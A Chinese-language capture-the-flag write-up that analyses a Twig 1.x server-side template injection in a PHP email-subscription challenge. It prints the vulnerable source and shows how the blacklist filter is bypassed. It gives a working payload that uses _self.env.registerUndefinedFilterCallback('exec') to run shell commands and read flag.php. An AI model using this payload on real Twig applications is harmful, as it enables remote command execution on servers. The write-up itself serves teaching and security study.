前言
在上周末刚刚结束的安恒6月赛DASCTF中,有一道web题涉及 Twig 模板注入,而两个月前的 volgactf 也涉及了同样的内容,但所使用的版本不同。本文通过CTF题的解法来分析 Twig 模板注入的利用方式
Subscribe@DASCTF
这是一道白盒代码审计题,给出的源码如下(作者注:本题目是基于Twig 1.x版本)
phprequire_once "mail/smtp.class.php";require_once "mail/smtp.send.php";require_once "libs/common.func.php";include 'vendor/twig/twig/lib/Twig/Autoloader.php';function mailCheck($s) { if (preg_match('/\\\|\/|\~|&|\^|\`|\*|\?/i',$s)) { alertMes('damn hacker!', './index.php'); return false; } if (!preg_match('/libs|smtp|curl|dev|index\.php|ftp|backdoor|sh/i', $s) ) { if ( preg_match_all('/@/', $s) === 1 ) { $arr = explode('@',$s); $domain = end($arr); if (!preg_match('/[^a-z0-9._-]/i', $domain)) { return true; } } } return false;}function alertMes($mes, $url){ echo " alert('{$mes}'); location.href='{$url}'; "; die;}$smtpEmailTo = $_POST['toemail'];if (!mailCheck($smtpEmailTo)){ alertMes("hacker", "/index.php"); //die;}//为了减少邮件服务器压力,任何fuzz都请带上$_POST['test'] 请充分测试后再订阅并发邮件,如果检测到某个用户频繁无脑发邮件会被封禁。if (isset($_POST['test'])){ user_are_fuzzing_and_smtp_server_wont_send_email(); die;}//do not trickTwig_Autoloader::register();$loader = new Twig_Loader_String()$twig = new Twig_Environment($loader);$yourName = pos(explode( '@', $smtpEmailTo));$content = @$twig->render($yourName);$mailcontent = "
Hello "
.$content."
Welcome to DASCTF June, Have FUN!";$smtp = new Smtp($smtpserver, $smtpserverport, true, $smtpuser, $smtppass);$smtp->debug = false;$state = $smtp->sendmail($smtpEmailTo, $smtpusermail, $mailtitle, $mailContent, $mailtype);/* flag is in flag.php */
首先我们分析本题目代码逻辑,由用户传入一个Email地址,服务器端从用户输入的Email地址中提取用户名传入Twig模板,渲染一封包含用户名的邮件发送至该Email地址。
利用点在提取用户名并渲染的逻辑中,我们可以看到 $yourname
是提取 $smtpEmailTo
中 @前面的值,既用户名,然后在 $content = @$twig->render($yourName);
中将用户名直接传入Twig 模板渲染执行。由于 $yourName
是由用户输入,完全可控。
然后我们看 mailCheck
函数中的过滤规则,两个if判断逻辑过滤了几种特殊符号和关键字,并没有过滤花括号{}和一些其他关键类名,所以我们可以构造形如 {{7*7}}@yourmail.com
的Email地址传入进行SSTI。
payload分析
本题所用payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("a=cat;b=flag.php;$a $b")}}@yourmail.com
_self
_self在Twig框架中是一个特殊全局变量,会返回当前 \Twig\Template
实例,可以继续调用实例中的方法,相关代码位src/Node/Expression/NameExpression.php
class NameExpression extends AbstractExpression{ protected $specialVars = [ '_self' => '$this', '_context' => '$context', '_charset' => '$this->env->getCharset()', ]; …………省略其他代码……………
注意因为本题目中使用Twig 1.x版本,所以此方法有效,在后续的2.x 和 3.x 版本中,这一变量只能返回当前实例名字符串
class NameExpression extends AbstractExpression{ private $specialVars = [ '_self' => '$this->getTemplateName()', '_context' => '$context', '_charset' => '$this->env->getCharset()', ]; …………省略其他代码……………
官方文档https://twig.symfony.com/doc/1.x/deprecated.html#globals
registerUndefinedFilterCallback 和 getFilter
这两个函数都位于 src/Environment.php
public function getFilter($name){ if (!$this->extensionInitialized) { $this->initExtensions(); } if (isset($this->filters[$name])) { return $this->filters[$name]; } foreach ($this->filters as $pattern => $filter) { $pattern = str_replace('\\*', '(.*?)', preg_quote($pattern, '#'), $count); if ($count) { if (preg_match('#^'.$pattern.'$#', $name, $matches)) { array_shift($matches); $filter->setArguments($matches); return $filter; } } } foreach ($this->filterCallbacks as $callback) { if (false !== $filter = \call_user_func($callback, $name)) { return $filter; } } return false;}public function registerUndefinedFilterCallback($callable){ $this->filterCallbacks[] = $callable;}
registerUndefinedFilterCallback("exec")
将 exec
传入到全局数组 filterCallbacks[]
中,getFilter("a=cat;b=flag.php;$a $b")
将 "a=cat;b=flag.php;$a $b"
传入 $name
call_user_func
最终的命令执行点在foreach
中的 call_user_func
$callback
为数组中的值,此处为 exec
,所以此处 call_user_func
执行的是
call_user_func("exec", "a=cat;b=flag.php;$a $b")
达到了最终执行命令的目的
还要个邮件服务器
对于本CTF题,我们还需要通过该地址接收邮件才能看到回显的flag,而一般的邮件服务提供商基本不允许用户名中存在特殊符号,所以我们在vps上用python临时搭建一个邮件服务器,并将域名MX记录解析到vps上。这是一个python邮件服务器的简易脚本
from __future__ import print_functionfrom datetime import datetimeimport asyncorefrom smtpd import SMTPServerclass EmlServer(SMTPServer): no = 0 def process_message(self, peer, mailfrom, rcpttos, data, mail_options=None,rcpt_options=None): filename = '%s-%d.eml' % (datetime.now().strftime('%Y%m%d%H%M%S'), self.no) f = open(filename, 'wb') print(data) f.write(data) f.close print('%s saved.' % filename) self.no += 1def run(): foo = EmlServer(('0.0.0.0', 25), None) try: asyncore.loop() except KeyboardInterrupt: passif __name__ == '__main__': run()
结语
本题是基于Twig 1.x开发,payload中所使用的_self
变量在之后的版本已经弃用。在之后的文章我们将分享Twig 2.x & 3.x SSTI利用方式。